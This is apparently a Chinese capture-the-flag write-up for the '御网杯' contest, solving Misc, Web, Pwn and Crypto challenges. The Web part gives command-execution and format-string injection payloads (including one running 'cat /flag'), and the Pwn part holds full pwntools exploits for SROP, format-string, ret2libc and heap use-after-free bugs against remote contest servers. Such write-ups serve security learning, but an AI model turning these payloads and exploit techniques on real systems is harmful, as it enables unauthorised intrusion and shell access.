御网杯

MISC

MISC-信息安全大赛的通知

下载附件后打开

修改字体颜色

得到flag

Misc-编码转换

首先发现他是一个Brainfuck 编码进行解密

flag{ab71cda1

这是第一段线索

这是第二段线索，发现是一个js解密

b495e13b3f21

进行第三段解码，发现他是Ook编码方式

f6fd50221978}

最终拼接得到flag

flag{ab71cda1b495e13b3f21f6fd50221978}

Misc-buleteech

首先我们直接丢进去进行分析

发现明文不可以直接进行查询，那我们试一试转化为十六进制

找到一段信息可能是flag

我们进行数据导出为压缩文件

发现一个flag和key，但是文件已经损坏，我们再想一想其他办法

用winhex对数据包头进行修复，导出数据

转化为16进制，进行转化

得到两个数据

Flag文件内容

10004583275926070044326083910251708233320797779355779208703097816305188140191914132269450797

Key文件内容

5216294695211820293806247029887026154798297270637676463374801674229881314620340407569315152

进行十六进制的与或运算

cipher_text_str = "10004583275926070044326083910251708233320797779355779208703097816305188140191914132269450797"

encryption_key_str = "5216294695211820293806247029887026154798297270637676463374801674229881314620340407569315152"

cipher_int = int(cipher_text_str)

key_int = int(encryption_key_str)

cipher_hex = format(cipher_int, 'x')

key_hex = format(key_int, 'x')

max_length = max(len(cipher_hex), len(key_hex))

cipher_hex = cipher_hex.zfill(max_length)

key_hex = key_hex.zfill(max_length)

xor_output = ''.join([format(int(a, 16) ^ int(b, 16), 'x') for a, b in zip(cipher_hex, key_hex)])

ascii_result = bytes.fromhex(xor_output).decode('utf-8', errors='ignore')

print("XOR Result ASCII:", ascii_result)

最终得到flag

Misc-coding_analyse

打开文件发现是一段HTML实体编码，寻找个解码工具，进行解码

然后进行凯撒解密，直接放在解密工具中跑出来

最终得到flag，真难啊

Web

Web-input_data

首先发现是这个页面

尝试进行访问这个目录

寻找、寻找flag

最终在这个目录下发现flag

[http://101.200.58.4:10005/.svn/pristine/57/57d4b4b90f7139cf064ee991e8f78bd8fc2a8a6d.svn-base](http://101.200.58.4:10005/.svn/pristine/57/57d4b4b90f7139cf064ee991e8f78bd8fc2a8a6d.svn-base" \t "_blank)目录名为这个

flag{a082bab3-d291-47a7-b636-f4e457d05428}

Web-Admin

进行一个URL测试/;/admin/

尝试能不能进行命令进行执行Java命令，类似于直接俄读取cat/flag

path=$%7Bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22cat%20/flag%22).getInputStream()).next()%7D::assadasd.asdas

[http://101.200.58.4:3333/;/admin/?path=\(%7Bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22cat%20/flag%22).getInputStream()).next()%7D__::assadasd.asdas](http://101.200.58.4:3333/;/admin/?path=__\){new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("cat /flag").getInputStream()).next()}::assadasd.asdas" \t "_blank)

进行访问测试

Web -flask

这是字符串格式化绕过

进行注入

101.200.58.4:1111/?evalme="%c%c%c%c%c"%(47,102,108,97,103)

得到flag

flag{26c5114e-862d-4b2a-b1f4-3fbc2b75988e}

Web -如此多的FLAG

刚开始在进行目录扫描但是，看比赛群不是目录扫描，要进行代码审计

访问Cookie值，

访问./fll4g.php的目录，

对URL进行编写，最终进行注入，得到flag

[http://101.200.58.4:20005/FLLL4g.php?X[]=99999&Y=0e1284838308&Z=1;\(f1ag=0</font>](http://101.200.58.4:20005/FLLL4g.php?X%5B%5D=99999&Y=0e1284838308&Z=1;\)f1ag=0)

PWN

Pwn-asm

直接进行ida分析，寻找存在的漏洞

存在syscall的漏洞报告，先编写exp进行测试

from pwn import *

context(log_level='debug', arch='x86_64')

target = remote('101.200.58.4', 10001)

binary = ELF('./pwn')

sigreturn_frame = SigreturnFrame()

sigreturn_frame.rax = constants.SYS_execve

sigreturn_frame.rdi = 0x40200A # Address of "/bin/sh"

sigreturn_frame.rsi = 0

sigreturn_frame.rdx = 0

sigreturn_frame.rip = 0x40102D

payload = p64(0x40103D) + (p64(0x401034) + p64(0x401030)) * 3

payload += p64(0x401034) + p64(0x40102D) + bytes(sigreturn_frame)

target.send(payload)

target.interactive()

放进kali一起运行

Pwn-ret

直接寻找main函数

尝试爆破

编写exp脚本

from pwn import *

context.arch = 'amd64'

context.os = 'linux'

context.log_level = 'debug'

libc = ELF('./libc.so.6')

while True:

conn = remote('101.200.58.4', 10004)

conn.recvuntil(b'ask')

pop_rdi = 0x0000000000400923

conn.send(b'%3$p')

conn.recvuntil(b'0x')

libc_base = int(conn.recv(12), 16) - 0x110031

libc.address = libc_base

print("libc_base:", hex(libc_base))

bin_sh = next(libc.search(b'/bin/sh\x00'))

system_addr = libc.sym['system']

one_gadget = [0x4f29e, 0x4f2a5, 0x4f302, 0x10a2fc][1] + libc_base

conn.recvuntil(b'ok,')

num = int(conn.recvuntil(b' '))

print(num)

if num < 144:

continue

conn.recvuntil(b'number')

payload = b'a' * 0x88 + p64(one_gadget)

conn.sendline(payload)

conn.interactive()

放入kali中与所给文档一起运行，最终得到flag

Pwn-normal

发现格式化漏洞

编写exp，进行远程能连接服务器，进行处理，编写exp

from pwn import *

context(os='linux', arch='arm', log_level='debug')

remote_conn = remote("101.200.58.4", 5555)

def make_choice(index):

remote_conn.sendlineafter(b'our choice: ', str(index))

def allocate(index, size):

make_choice(97)

remote_conn.sendlineafter(b'index: ', str(index))

remote_conn.sendlineafter(b'a size: ', str(size))

def update(index, data):

make_choice(101)

remote_conn.sendlineafter(b'a index: ', str(index))

remote_conn.sendlineafter(b'content', data)

def show(index):

make_choice(115)

remote_conn.sendlineafter(b'ta index: ', str(index))

allocate(0, 0x18)

update(0, b'%9$p')

show(0)

remote_conn.recvuntil(b'ontent: ')

base_address = int(remote_conn.recv(12), 16) - 0xea0

update(0, b'%8$p')

show(0)

remote_conn.recvuntil(b'ontent: ')

stack_pointer = int(remote_conn.recv(12), 16)

format_string = "%{}c%{}$hn".format((stack_pointer - 0x18) & 0xffff, 8)

update(0, format_string.encode())

show(0)

format_string = "%{}c%{}$hn".format((base_address + 0xd40) & 0xffff, 12)

update(0, format_string.encode())

show(0)

remote_conn.interactive()

Pwn-no fmtstr

首先先找一下main函数

寻找到uaf的漏洞

编写exp

from pwn import *

FILENAME = '../pwn'

binary = ELF(FILENAME)

libc = binary.libc

server_ip = "101.200.58.4"

server_port = 2222

process = remote(server_ip, server_port)

def send_command(option):

process.recvuntil(b'>')

process.sendline(str(option).encode('utf-8'))

def create_object(index, size):

send_command(1)

process.recvuntil(b'Index')

process.sendline(str(index).encode('utf-8'))

process.recvuntil(b'Size')

process.sendline(str(size).encode('utf-8'))

def release_object(index):

send_command(2)

process.recvuntil(b'Index')

process.sendline(str(index).encode('utf-8'))

def modify_object(index, content):

send_command(3)

process.recvuntil(b'Index')

process.sendline(str(index).encode('utf-8'))

process.recvuntil(b'Content')

process.send(content)

def display_object(index):

send_command(4)

process.recvuntil(b'Index')

process.sendline(str(index).encode('utf-8'))

create_object(0, 0x510)

create_object(1, 0x510)

create_object(2, 0x500)

release_object(0)

display_object(0)

libc_base = u64(process.recvline().strip().ljust(8, b'\x00')) - 0x1f6cc0

create_object(3, 0x530)

release_object(2)

fake_fd = 0x1f70f0 + libc_base

fake_mp = libc_base + 0x1f63a0 + 0x8

modify_object(0, p64(fake_fd) + p64(0) * 2 + p64(fake_mp - 0x20))

create_object(4, 0x530)

release_object(4)

target = 0x4040e0

modify_object(0, b'\x00' * 0x80 + p64(target))

create_object(5, 0x530)

modify_object(5, p64(0x404000))

system_address = libc_base + libc.symbols['system']

modify_object(0, p64(system_address))

modify_object(4, b'/bin/sh\x00')

release_object(4)

process.interactive()

最后放到kali中与文件在一起运行得到flag

Crypto

Crypto-just_math

这是一个函数的加密方式，他的主函数是rsam和calc两个函数

n和e是RSA公钥的组织部分，v2和v3分别是v1的一次的二次导的数值

编写exp进行解码

from Crypto.Util.number import long_to_bytes

import gmpy2

ciphertext = 19246358892107739247113785229658542078430514721465131949167831670611624580906373552504812725817038734784405792985200364740451710657921959959746582283869697802105794308781512926117028871880416690692644601562681708853541784693891328384508343984930181682037424261938223793094459681013109815200480275899139534149459627433347692521885734369708394139148153730959741849311837888899690779478585666855429821591221553873937831095720715148525794252576976891489499479497861512

modulus = 2260375559104345425590426977960386256287009777233277062625487017885931446911942921201492850167115455071935831283269948569220356763988762825230315520633702443866690239945242948370781975714325308306543337600783340792458991506685843729962897796956171467876531084194426101796617903015810156717396227079274786269217370618477266867389155551378798713259843750289765858717627925689021561352438080039804957145513478767641674644346609224034274906228784593435462413278410143

for trial_index in range(2**21):

adjusted_value = ciphertext + trial_index * modulus

if gmpy2.iroot(adjusted_value, 3)[1]:

result = long_to_bytes(gmpy2.iroot(adjusted_value, 3)[0])

print(result)

得到flag

Crypto-不小心

这是一道类似的题目，直接一把梭哈

[[河北银行 2022 CTF]_ctf银行-CSDN博客](https://blog.csdn.net/weixin_52640415/article/details/126627810" \t "_blank)

# coding:utf-8

# python 3.6

# 用于编码的字符串

encoding_table = "fst3Sem8Wgnobcd9+++++uv2JKpUViFGHz0QRMyjkA7NaBC14wXYxh5OP/DEqrZIl6LT"

# 基64编码表

base64_table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='

# 待编码的标志

flag = "DASCTF{"

# 定义编码函数

def custom_encode(input_string):

binary_representation = []

for char in input_string:

binary_value = str(bin(ord(char))).replace('0b', '')

binary_representation.append('{:0>8}'.format(binary_value))

encoded_output = ""

padding_count = 0

while binary_representation:

current_chunk = binary_representation[:3]

if len(current_chunk) != 3:

padding_count = 3 - len(current_chunk)

while len(current_chunk) < 3:

current_chunk += ['0' * 8]

concatenated_binary = "".join(current_chunk)

chunked_values = []

for index in range(0, 4):

chunked_values.append(int(concatenated_binary[index * 6:(index + 1) * 6], 2))

if padding_count:

chunked_values = chunked_values[0:4 - padding_count]

for value in chunked_values:

encoded_output += encoding_table[value]

binary_representation = binary_representation[3:]

encoded_output += padding_count * '='

return encoded_output

# 待解码的字符串

encoded_string = '+Se++h+mFYVPJv+zb+SYK+V4dvKRKQSXJ+uzJ++zJ+uRK3JXK+bYG+'

# 解码过程

decoded_message = ''

for character in encoded_string:

index_in_encoding_table = encoding_table.index(character)

decoded_message += base64_table[index_in_encoding_table]

# 打印解码信息

print(decoded_message)

# 基64解码辅助函数

def decode_helper(index, base64_segment):

if index >= 4:

try:

decoded_bytes = b64decode(base64_segment)

except:

return

valid_characters = b'0123456789abcdef-_{}'

if all(byte in valid_characters for byte in decoded_bytes):

print("xxx ", decoded_bytes)

return

if base64_segment[index] == 'Q':

for char in "QRSTU":

if index == 0:

decode_helper(index + 1, char + base64_segment[1:])

elif index == 3:

decode_helper(index + 1, base64_segment[:3] + char)

else:

decode_helper(index + 1, base64_segment[:index] + char + base64_segment[index + 1:])

else:

decode_helper(index + 1, base64_segment)

# 待解码的base64字符串

base64_encoded_message = 'QEFQQ1QGezc4YWQhMQEzZQcwOWZkZjEyYQVhYQQhYQVkZDYyZQMzfQ=='

base64_encoded_message = base64_encoded_message[8:] # 跳过前缀

# 解码并打印每一段

for segment_start in range(0, len(base64_encoded_message), 4):

print('---------', segment_start, base64_encoded_message[segment_start: segment_start + 4])

decode_helper(0, base64_encoded_message[segment_start: segment_start + 4])

最终得到flag

flag

Crypto-base

打开发现全是表情包

进行base100解密

看特征应该是base64解密

用千千秀子是乱码，应该是工具的问题

再进行解密

再进行base91解码

还没出来再次进行尝试

再经过一次base62解码

在出自中再进行解码

得到flag

Crypto-easy_crypto

在网上找到了原题，参考一下

攻防世界 crypto---simpleRSA wp_攻防世界simplersa-CSDN博客

3

得到flag